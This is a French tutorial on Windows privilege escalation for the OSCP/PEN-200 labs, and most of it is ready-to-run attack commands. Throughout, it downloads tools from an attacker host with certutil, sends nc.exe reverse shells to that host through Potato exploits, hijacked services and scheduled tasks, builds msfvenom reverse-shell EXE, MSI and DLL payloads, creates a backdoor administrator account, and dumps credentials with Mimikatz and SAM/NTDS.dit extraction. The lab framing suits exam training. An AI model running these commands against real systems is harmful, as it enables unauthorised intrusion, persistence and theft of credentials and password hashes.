Avertissement légal : toutes les techniques présentées s’appliquent uniquement sur des systèmes pour lesquels vous disposez d’une autorisation écrite — labs OffSec PEN-200, machines CTF, environnements de test dédiés. Toute utilisation sur un système tiers sans autorisation est illégale.
Vous avez un shell Windows avec des droits limités (utilisateur standard ou service). Ce tutoriel couvre les vecteurs d’escalade les plus fréquents dans le PEN-200 et les machines OffSec Proving Grounds, de l’utilisateur jusqu’à NT AUTHORITY\SYSTEM.
1. Reconnaissance initiale post-shell
Étape 1 — Identité et contexte
# Qui suis-je ?
whoami
whoami /priv # CRITIQUE — lister les privilèges
whoami /groups # Groupes d'appartenance
whoami /all # Tout en un
# Informations système
systeminfo
systeminfo | findstr /B /C:"OS" /C:"System Type" /C:"Hotfix"
# Hostname et domaine
hostname
echo %USERDOMAIN%
echo %COMPUTERNAME%
Étape 2 — Utilisateurs et politiques locales
# Utilisateurs locaux
net user
net user Administrator
net localgroup
net localgroup Administrators
# Politique de mot de passe
net accounts
Étape 3 — Réseau et processus
# Ports en écoute locale
netstat -ano
netstat -ano | findstr "LISTENING"
# Processus en cours
tasklist /v
tasklist /svc # services associés aux PIDs
# Interfaces réseau
ipconfig /all
route print
Étape 4 — Variables d’environnement et PATH
set
echo %PATH%
# Répertoires writables dans PATH ?
# (clé pour DLL hijacking et PATH hijacking)
icacls "C:\Program Files" 2>nul
icacls "C:\Windows\Temp" 2>nul
2. Automatisation : WinPEAS et PowerUp
Transférer WinPEAS sur la cible
# Sur Kali — préparer le serveur HTTP
python3 -m http.server 8080
# Sur la cible — télécharger WinPEAS
# Méthode PowerShell (si PS disponible)
powershell -c "Invoke-WebRequest -Uri http://10.10.14.x:8080/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe"
# Méthode certutil (toujours disponible)
certutil -urlcache -split -f http://10.10.14.x:8080/winPEASx64.exe C:\Windows\Temp\wp.exe
Exécuter WinPEAS
# Exécution complète avec sortie dans un fichier
C:\Windows\Temp\wp.exe > C:\Windows\Temp\wp_out.txt 2>&1
# Afficher les résultats
type C:\Windows\Temp\wp_out.txt | more
# Options ciblées
C:\Windows\Temp\wp.exe servicesinfo # services uniquement
C:\Windows\Temp\wp.exe applicationsinfo # apps installées
C:\Windows\Temp\wp.exe userinfo # users et groupes
PowerUp (PowerSploit)
# Transférer PowerUp.ps1
certutil -urlcache -split -f http://10.10.14.x:8080/PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1
# Exécuter depuis PowerShell
powershell -ep bypass
. C:\Windows\Temp\PowerUp.ps1
Invoke-AllChecks
Sections critiques de WinPEAS : Modifiable Services, Unquoted paths, AlwaysInstallElevated, Autorun files, Interesting files, Token privileges.
3. SeImpersonatePrivilege (Potatoes)
C’est le vecteur numéro 1 dans le PEN-200. Si vous avez un shell de service (iis apppool, network service, local service) ou un webshell, vous avez presque toujours SeImpersonatePrivilege.
Étape 1 — Vérifier le privilège
whoami /priv
# Chercher :
# SeImpersonatePrivilege Impersonate a client after authentication Enabled ← JACKPOT
# SeAssignPrimaryTokenPrivilege (aussi exploitable)
Étape 2 — GodPotato (recommandé OSCP 2024+)
GodPotato fonctionne sur Windows Server 2012 à 2022 et Windows 8 à 11.
# Transférer GodPotato
certutil -urlcache -split -f http://10.10.14.x:8080/GodPotato-NET4.exe C:\Windows\Temp\gp.exe
# Exécuter une commande en SYSTEM
C:\Windows\Temp\gp.exe -cmd "cmd /c whoami"
# nt authority\system
# Obtenir un reverse shell SYSTEM
C:\Windows\Temp\gp.exe -cmd "cmd /c C:\Windows\Temp\nc.exe 10.10.14.x 4444 -e cmd"
# Créer un utilisateur admin local
C:\Windows\Temp\gp.exe -cmd "net user hacker Password123! /add && net localgroup Administrators hacker /add"
Étape 3 — PrintSpoofer (alternative — Windows Server 2019+)
certutil -urlcache -split -f http://10.10.14.x:8080/PrintSpoofer64.exe C:\Windows\Temp\ps.exe
# Shell SYSTEM interactif
C:\Windows\Temp\ps.exe -i -c cmd
# [+] Found privilege: SeImpersonatePrivilege
# [+] Named pipe listening...
# [+] CreateProcessAsUser() OK
# Microsoft Windows [Version ...]
# C:\Windows\system32>whoami
# nt authority\system
Étape 4 — JuicyPotatoNG (fallback Windows Server 2016/2019)
certutil -urlcache -split -f http://10.10.14.x:8080/JuicyPotatoNG.exe C:\Windows\Temp\jp.exe
# Exécuter en SYSTEM
C:\Windows\Temp\jp.exe -t * -p "C:\Windows\Temp\nc.exe" -a "10.10.14.x 4444 -e cmd"
| Outil | OS cibles | Prérequis |
|---|---|---|
| GodPotato | Win 8–11, Server 2012–2022 | SeImpersonatePrivilege |
| PrintSpoofer | Win 10, Server 2016/2019 | SeImpersonatePrivilege |
| JuicyPotatoNG | Win Server 2016/2019 | SeImpersonatePrivilege |
| RoguePotato | Win Server 2019+ | SeImpersonatePrivilege + accès réseau |
4. Services mal configurés (binpath writable)
Si vous pouvez modifier le chemin du binaire d’un service qui tourne en SYSTEM, vous pouvez injecter votre propre commande.
Étape 1 — Trouver les services avec permissions insuffisantes
# Avec accesschk.exe (Sysinternals)
certutil -urlcache -split -f http://10.10.14.x:8080/accesschk.exe C:\Windows\Temp\ac.exe
# Services sur lesquels l'utilisateur courant a WRITE_DAC ou SERVICE_CHANGE_CONFIG
C:\Windows\Temp\ac.exe /accepteula -uwcqv "Authenticated Users" *
C:\Windows\Temp\ac.exe /accepteula -uwcqv "%USERNAME%" *
# PowerShell — permissions sur les services
Get-WmiObject win32_service | Where-Object {$_.State -eq "Running"} | `
Select-Object Name, PathName, StartMode, StartName
Étape 2 — Vérifier et modifier le binpath d’un service
# Vérifier les permissions sur le service "VulnSvc"
C:\Windows\Temp\ac.exe /accepteula -ucqv VulnSvc
# Si RW (Full Control ou Write) apparaît pour votre user :
# Modifier le binpath pour créer un admin local
sc config VulnSvc binPath= "net localgroup Administrators hacker /add"
sc stop VulnSvc
sc start VulnSvc
# Vérifier
net localgroup Administrators
# hacker apparaît → se connecter via RDP ou psexec
Étape 3 — Avec un reverse shell
# Placer nc.exe sur la cible
certutil -urlcache -split -f http://10.10.14.x:8080/nc.exe C:\Windows\Temp\nc.exe
# Modifier le service
sc config VulnSvc binPath= "C:\Windows\Temp\nc.exe 10.10.14.x 4444 -e cmd"
sc stop VulnSvc
sc start VulnSvc
# → reverse shell SYSTEM sur nc -lvnp 4444
5. Unquoted Service Path
Si le chemin d’un binaire de service contient des espaces et n’est pas entre guillemets, Windows teste plusieurs chemins dans l’ordre. Vous pouvez placer un binaire malveillant à l’un de ces chemins.
Étape 1 — Trouver les chemins non quotés
# CMD — lister tous les services avec chemins non quotés contenant des espaces
wmic service get name,pathname,displayname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# PowerShell
Get-WmiObject -Class Win32_Service | Where-Object {
$_.PathName -notmatch '"' -and $_.PathName -match ' '
} | Select-Object Name, PathName, StartMode, StartName
Exemple de sortie :
VulnService C:\Program Files\Vulnerable Service\vuln svc\vuln.exe Auto LocalSystem
Étape 2 — Identifier le chemin exploitable
Windows va tester dans l’ordre :
C:\Program.exeC:\Program Files\Vulnerable.exeC:\Program Files\Vulnerable Service\vuln.exeC:\Program Files\Vulnerable Service\vuln svc\vuln.exe(le vrai)
Étape 3 — Créer le binaire malveillant
# Vérifier si C:\Program Files\ est writable
icacls "C:\Program Files" 2>nul
# Chercher : BUILTIN\Users:(OI)(CI)(W) ou (F)
# Générer un binaire avec msfvenom (sur Kali)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 -f exe -o Vulnerable.exe
# Transférer et placer
certutil -urlcache -split -f http://10.10.14.x:8080/Vulnerable.exe "C:\Program Files\Vulnerable.exe"
# Redémarrer le service (si vous avez Stop/Start)
sc stop VulnService
sc start VulnService
# → reverse shell SYSTEM
6. Autoruns et registre de démarrage
Si un programme au démarrage est writable et s’exécute en contexte elevated (SYSTEM ou Admin), vous pouvez le remplacer.
Étape 1 — Identifier les autoruns
# Clés de registre Run/RunOnce
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# Avec PowerUp
. C:\Windows\Temp\PowerUp.ps1
Get-RegistryAlwaysInstallElevated
Get-ModifiableRegistryAutoRun
Étape 2 — Autorun.exe writable
# Exemple : HKLM\...\Run contient
# "Cleanup" = "C:\Program Files\Cleanup\cleanup.exe"
icacls "C:\Program Files\Cleanup\cleanup.exe"
# NT AUTHORITY\Authenticated Users:(I)(M) ← MODIFIABLE
# Remplacer par un reverse shell
move "C:\Program Files\Cleanup\cleanup.exe" "C:\Program Files\Cleanup\cleanup.exe.bak"
certutil -urlcache -split -f http://10.10.14.x:8080/shell.exe "C:\Program Files\Cleanup\cleanup.exe"
# Attendre le redémarrage ou si possible :
shutdown /r /t 0 # déclenche un reboot (attention en exam)
7. AlwaysInstallElevated
Si les deux clés registre AlwaysInstallElevated sont à 1, n’importe quel utilisateur peut installer un fichier MSI avec les droits SYSTEM.
Étape 1 — Vérifier les clés registre
# Les DEUX doivent être à 0x1 pour être vulnérable
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# AlwaysInstallElevated REG_DWORD 0x1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# AlwaysInstallElevated REG_DWORD 0x1
Étape 2 — Créer un MSI malveillant
# Sur Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 \
-f msi -o malicious.msi
# Ou créer un MSI qui ajoute un admin local
msfvenom -p windows/x64/exec CMD='net user hacker Password123! /add && net localgroup Administrators hacker /add' \
-f msi -o add_admin.msi
Étape 3 — Transférer et installer sur la cible
# Sur la cible
certutil -urlcache -split -f http://10.10.14.x:8080/malicious.msi C:\Windows\Temp\mal.msi
# Installer — s'exécutera en SYSTEM
msiexec /quiet /qn /i C:\Windows\Temp\mal.msi
# Vérifier
net localgroup Administrators
# → hacker est présent
# Se connecter via psexec (Kali)
# impacket-psexec hacker:Password123!@10.10.10.x
# ou via Evil-WinRM si WinRM est ouvert (port 5985)
8. DPAPI — vol de credentials
DPAPI (Data Protection API) est utilisé par Windows pour stocker les credentials des navigateurs, WiFi, et certificats. Si vous avez accès au profil d’un utilisateur, vous pouvez extraire ces credentials.
Étape 1 — Localiser les blobs DPAPI
# Credentials Windows stockés
dir C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\ 2>nul
dir C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\ 2>nul
# Master keys DPAPI
dir C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Protect\ 2>nul
Étape 2 — Extraire avec Mimikatz (si admin/SYSTEM)
# Transférer mimikatz
certutil -urlcache -split -f http://10.10.14.x:8080/mimikatz.exe C:\Windows\Temp\mk.exe
# Extraire tous les credentials DPAPI de l'utilisateur courant
C:\Windows\Temp\mk.exe "dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\XXXXXXXX" "exit"
# Extraire les passwords en mémoire (si SYSTEM)
C:\Windows\Temp\mk.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Extraire les hashes SAM
C:\Windows\Temp\mk.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
Credentials stockés dans cmdkey
# Lister les credentials Windows stockés
cmdkey /list
# Si des credentials admin sont stockés, utiliser runas avec savecred
runas /savecred /user:DOMAIN\Administrator "C:\Windows\Temp\nc.exe 10.10.14.x 4444 -e cmd"
9. Dump SAM / NTDS.dit
La base SAM contient les hashes NTLM de tous les utilisateurs locaux. NTDS.dit contient tous les hashes du domaine Active Directory.
Dump SAM depuis une session avec droits admin
# Sauvegarder les ruches registre nécessaires
reg save HKLM\sam C:\Windows\Temp\sam.save
reg save HKLM\system C:\Windows\Temp\system.save
reg save HKLM\security C:\Windows\Temp\security.save
# Transférer sur Kali
# (via smbserver, nc, ou HTTP upload)
# Extraire les hashes sur Kali avec impacket
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
# [*] Dumping local SAM hashes
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# hacker:1001:aad3b435b51404eeaad3b435b51404ee:8f38bf3c6d...
Volume Shadow Copy — dump SAM sans lock
# Créer un Shadow Copy du volume C:
vssadmin create shadow /for=C:
# Shadow Copy ID: {xxxxxxxx-...}
# Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
# Copier SAM depuis le Shadow Copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\Temp\sam.save
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\system.save
Dump NTDS.dit (Domain Controller uniquement)
# Sur un DC — ntdsutil
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\ntds_dump" quit quit
# Les fichiers créés :
# C:\Windows\Temp\ntds_dump\Active Directory\ntds.dit
# C:\Windows\Temp\ntds_dump\registry\SYSTEM
# Sur Kali — extraire tous les hashes du domaine
impacket-secretsdump -ntds C:\ntds_dump\Active\ Directory\ntds.dit -system C:\ntds_dump\registry\SYSTEM LOCAL
10. Scheduled Tasks writables
Étape 1 — Lister les tâches planifiées
# Liste complète
schtasks /query /fo LIST /v
# Format CSV pour analyse
schtasks /query /fo CSV 2>nul | ConvertFrom-Csv | Select-Object TaskName,Run\ As\ User,Task\ To\ Run
# PowerShell — tâches non-Microsoft
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft\*"} | `
Select-Object TaskName, TaskPath, @{N='Principal';E={$_.Principal.UserId}}
Étape 2 — Vérifier les permissions sur le binaire de la tâche
# Si une tâche tourne en SYSTEM et son binaire est writable :
icacls "C:\Tasks\cleanup.bat"
# BUILTIN\Users:(F) ← FULL CONTROL
# Injecter un reverse shell dans le script
echo C:\Windows\Temp\nc.exe 10.10.14.x 4444 -e cmd > C:\Tasks\cleanup.bat
# Forcer l'exécution de la tâche (si permissions)
schtasks /run /tn "CleanupTask"
# → reverse shell SYSTEM
11. DLL Hijacking
Windows cherche les DLL dans un ordre précis. Si un répertoire en tête de la liste de recherche est writable, vous pouvez placer une DLL malveillante qui sera chargée à la place de la vraie.
Étape 1 — Identifier les DLL manquantes avec ProcMon
Dans un lab (avec accès bureau), utilisez Process Monitor avec le filtre :
- Result = NAME NOT FOUND
- Path ends with .dll
- Process Name = le service cible
Étape 2 — Via PowerUp
. C:\Windows\Temp\PowerUp.ps1
Find-PathDLLHijack
# Trouve les dossiers writables dans %PATH% et les DLL non-trouvées
Étape 3 — Créer la DLL malveillante
# Sur Kali — générer une DLL reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 \
-f dll -o hijack.dll
# Renommer selon la DLL manquante
cp hijack.dll missing_lib.dll
// Alternative : DLL en C avec payload minimal
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("net localgroup Administrators hacker /add");
}
return TRUE;
}
# Compiler (cross-compile depuis Kali)
x86_64-w64-mingw32-gcc -shared -fPIC -o missing_lib.dll dll_hijack.c -lws2_32
Étape 4 — Placer la DLL et déclencher
# Placer dans le répertoire writable détecté
certutil -urlcache -split -f http://10.10.14.x:8080/missing_lib.dll "C:\Program Files\VulnApp\missing_lib.dll"
# Redémarrer le service ou l'application
sc stop VulnService
sc start VulnService
12. Token Impersonation (manuel)
Si vous êtes SYSTEM mais devez impersonner un utilisateur spécifique (ex: pour accéder à ses fichiers DPAPI), voici comment manipuler les tokens manuellement.
Lister les tokens disponibles avec incognito
# Via Meterpreter (si Metasploit est utilisé dans le lab)
# use incognito
# list_tokens -u
# impersonate_token "DOMAIN\\Administrator"
# Via winPEAS ou Token Viewer manuel
# Processus dont le token peut être emprunté si SeImpersonatePrivilege est activé
CreateToken avec Mimikatz
C:\Windows\Temp\mk.exe "privilege::debug" `
"token::elevate" `
"sekurlsa::logonpasswords" `
"exit"
# Ou passer le hash (Pass-the-Hash)
C:\Windows\Temp\mk.exe "privilege::debug" `
"sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH_NT /run:cmd" `
"exit"
13. Checklist exam Windows — 20 points en 45 minutes
| # | Vérification | Commande rapide | Temps |
|---|---|---|---|
| 1 | Privilèges courants | whoami /priv |
10 sec |
| 2 | SeImpersonatePrivilege | GodPotato ou PrintSpoofer | 3 min |
| 3 | Services writables | accesschk.exe -uwcqv "Authenticated Users" * |
2 min |
| 4 | Unquoted service paths | wmic service get name,pathname | findstr /i /v """ |
1 min |
| 5 | AlwaysInstallElevated | reg query HKLM\...\Installer /v AlwaysInstallElevated |
20 sec |
| 6 | WinPEAS (automatisation) | Transférer + exécuter | 3-5 min |
| 7 | Autoruns writables | reg query HKLM\...\Run + icacls |
2 min |
| 8 | Credentials stockés | cmdkey /list |
10 sec |
| 9 | Scheduled tasks writables | schtasks /query /fo LIST /v |
2 min |
| 10 | Groupe docker / admin local | net localgroup Administrators |
10 sec |
Capture du proof.txt après SYSTEM
# Dès SYSTEM obtenu — capture immédiate
whoami && hostname && type C:\Users\Administrator\Desktop\proof.txt
# nt authority\system
# target-machine
# OS{abc123...}
# Screenshot avec IP visible
ipconfig
type C:\Users\Administrator\Desktop\proof.txt
Ressources et références
- WinPEAS (PEASS-ng) — outil d’énumération Windows automatique
- GodPotato — exploit SeImpersonatePrivilege moderne
- LOLBAS Project — binaires Windows légitimes exploitables
- HackTricks — Windows Privilege Escalation
- PowerUp (PowerSploit) — modules PowerShell d’escalade
PrintSpoofer — exploit SeImpersonatePrivilege
Prochaines étapes
- Pour l’exploitation de l’environnement Active Directory (Kerberoasting, Pass-the-Hash, BloodHound), consultez le tutoriel dédié : Active Directory : attaques et mouvements latéraux.
- Pour les machines Linux, la méthode complète est dans Escalade de privilèges Linux — 15 techniques.
- Pour le rapport final, voir Rédiger le rapport OSCP.